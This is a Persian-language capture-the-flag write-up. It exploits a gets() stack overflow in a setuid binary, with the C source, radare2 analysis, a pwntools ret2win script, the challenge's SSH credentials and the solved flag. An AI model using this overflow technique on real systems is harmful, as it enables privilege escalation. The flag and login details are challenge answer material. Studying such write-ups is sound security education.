چالش سیستمعامل دوم: خرید روزانه
توضیحات
کاغذ یادداشت خریدها را گم کردهام. چه چیزی باید میخریدم؟
اطلاعات ورود:
ssh -p 8025 user1@86.104.33.87
password: Y2MyZTJjN2YxYTdiZjdjNmJiNGQyYTI
حل چالش
در این چالش پس از اتصال ssh
دو فایل میبینییم و به نظر میرسد که روش حل سوال اکسپلویت فایل باینری است.
قبل از اینکه فایل را برای بررسی باز کنیم دقت میکنیم که این فایل نیز با فلگ setuid
قرار گرفته است.
-r-sr-xr-x 1 flag flag 17024 Feb 10 00:13 code
کد این فایل نیز برای سادگی در سرور قرار دارد. در واقع در صورت عدم وجود آن باید یک مرحله مهندسی معکوس انجام شود که برای این سوال با داشتن کد منبع لازم نیست.
کد این سوال به شکل زیر است:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void notCallMe() {
char *envp[] = { NULL };
char *argv[] = {"/bin/cat", "/home/flag/flag.txt", NULL};
execve("/bin/cat", argv, envp);
}
void callMe() {
char buffer[64];
printf("%p\n", *notCallMe);
fflush(stdout);
gets(buffer);
}
int main(int argc, char** argv) {
callMe();
printf("Exiting...\n");
exit(0);
}
همانطور که مشخص است کد سادهای است که دو تابع دارد که یکی پرچم را میخواند و البته در برنامهی اصلی صدا زده نشده است و دومین تابع که آدرس تابع اول را چاپ میکند صدا زده شده است.
بنابراین برای حل باید از آسیبپذیری سرریز بافر در تابع
callMe
که به دلیل فراخوانی تابع ناامن
gets()
وجود دارد،
استفاده کنیم و سپس روند اجرای برنامه را تغییر داده و تابع
notCallMe
را صدا بزنیم.
قبل از آن نیاز داریم سازوکارهای امنیتی این فایل را بررسی کنیم. برای این کار ابتدا فایل را در سیستم خودمان کپی میکنیم:
scp -P 8025 user1@86.104.33.87:~/code ~/parcham/os2
سپس با استفاده از رادار اطلاعات فایل را میخوانیم:
$ radare2 code
-- radare2 is like windows 7 but even better.
[0x00001100]> iI
arch x86
baddr 0x0
binsz 15033
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic true
relocs true
relro full
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
همانطور که میبینیم مقدار canary
تنظیم نشده است. پس میتوان یک اکسپلویت ساده نوشت همچنین با یک فایل باینری ۶۴ بیتی مواجه هستیم.
در نهایت برای اطمینان از ساختار برنامه و اندازهی بافر به سراغ باینری میرویم و دستورات زیر را اجرا میکنیم تا مطمئن باشیم اندازهی بافر چقدر باید باشد:
[0x00001100]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x00001100]> afl
0x00001100 1 46 entry0
0x00001130 4 41 -> 34 sym.deregister_tm_clones
0x00001160 4 57 -> 51 sym.register_tm_clones
0x000011a0 5 57 -> 54 sym.__do_global_dtors_aux
0x00001090 1 11 sym..plt.got
0x000011e0 1 9 entry.init0
0x00001000 3 27 sym._init
0x00001320 1 5 sym.__libc_csu_fini
0x000011e9 1 76 sym.notCallMe
0x000010c0 1 11 sym.imp.execve
0x00001328 1 13 sym._fini
0x000012b0 4 101 sym.__libc_csu_init
0x0000127c 1 51 main
0x00001235 1 71 sym.callMe
0x000010b0 1 11 sym.imp.printf
0x000010e0 1 11 sym.imp.fflush
0x000010d0 1 11 sym.imp.gets
0x000010a0 1 11 sym.imp.puts
0x000010f0 1 11 sym.imp.exit
[0x00001100]> sf sym.callMe
[0x00001235]> pd
pd? pd pd-- pda pdb pdc pdC pdf pdi pdj pdJ pdk
pdl pdp pdr pdr. pdR pds? pds pdsb pdsf pdt pdd pdd?
pdd* pdda pddb pddc pddf pddi pdds pddu
[0x00001235]> pdf
; CALL XREF from main @ 0x1294
┌ 71: sym.callMe ();
│ ; var int64_t var_40h @ rbp-0x40
│ 0x00001235 f30f1efa endbr64
│ 0x00001239 55 push rbp
│ 0x0000123a 4889e5 mov rbp, rsp
│ 0x0000123d 4883ec40 sub rsp, 0x40
│ 0x00001241 488d35a1ffff. lea rsi, [sym.notCallMe] ; 0x11e9
│ 0x00001248 488d3dd20d00. lea rdi, [0x00002021] ; "%p\n"
│ 0x0000124f b800000000 mov eax, 0
│ 0x00001254 e857feffff call sym.imp.printf ; int printf(const char *format)
│ 0x00001259 488b05b02d00. mov rax, qword [obj.stdout] ; obj.__TMC_END
│ ; [0x4010:8]=0
│ 0x00001260 4889c7 mov rdi, rax
│ 0x00001263 e878feffff call sym.imp.fflush ; int fflush(FILE *stream)
│ 0x00001268 488d45c0 lea rax, [var_40h]
│ 0x0000126c 4889c7 mov rdi, rax
│ 0x0000126f b800000000 mov eax, 0
│ 0x00001274 e857feffff call sym.imp.gets ; char *gets(char *s)
│ 0x00001279 90 nop
│ 0x0000127a c9 leave
└ 0x0000127b c3 ret
[0x00001235]>
طول بافر ۴۰ بایت هگزادسیمال یا همان ۶۴ بایت است.
پس مقداری که برای رونویسی این بافر نیاز داریم به شکل زیر است:
payload = [64 bytes junk for buffer] + [8 bytes to wtire old rbp] + [address of notCallMe]
دقت میکنیم که آدرس تابع
notCallMe
در هر بار اجرا تغییر میکند ولی همان آدرس در فراخوانی
callMe
به کاربر ارائه میشود.
مهمترین چالش این است که خروجی این تابع را بخوانیم و سپس همزمان همین خروجی را استفاده کرده تا رشتهای را بسازیم و به برنامه ارسال کنیم. راه پیشنهادی ما این است:
sshpass -p Y2MyZTJjN2YxYTdiZjdjNmJiNGQyYTI ssh -p 8025 user1@86.104.33.87 ./code
با نصب این ابزار میتوانید با ارسال همزمان گذرواژه خروجی اجرای کد را ببینید. البته حتما بررسی کنید که خروجی هشدار چند خط است. مثلا در اینجا سه خط خروجی میگیریم که فقط خط آخر برای ما مهم است و در واقع آدرس تابع است.
در نهایت یک اسکریپت پایتون مینویسم و پرچم را به دست میآوریم. ما از اسکریپت زیر استفاده کردهایم:
from pwn import *
cmd = 'sshpass -p Y2MyZTJjN2YxYTdiZjdjNmJiNGQyYTI ssh -p 8025 user1@86.104.33.87 ./code'
io = process(cmd, True)
x = io.recvline()
x = io.recvline()
x = io.recvline()
io.sendline(b'a'*(64+8) + p64(int(x, 16)))
print(io.recvall())
با اجرای آن به صورت محلی به خروجی زیر رسیدیم:
$ python3 t.py
[+] Starting local process '/bin/sh': pid 32625
[+] Receiving all data: Done (42B)
[*] Process '/bin/sh' stopped with exit code 0 (pid 32625)
b'parcham{5654794b7e0e5b4a75e07fa7b515b295}\n'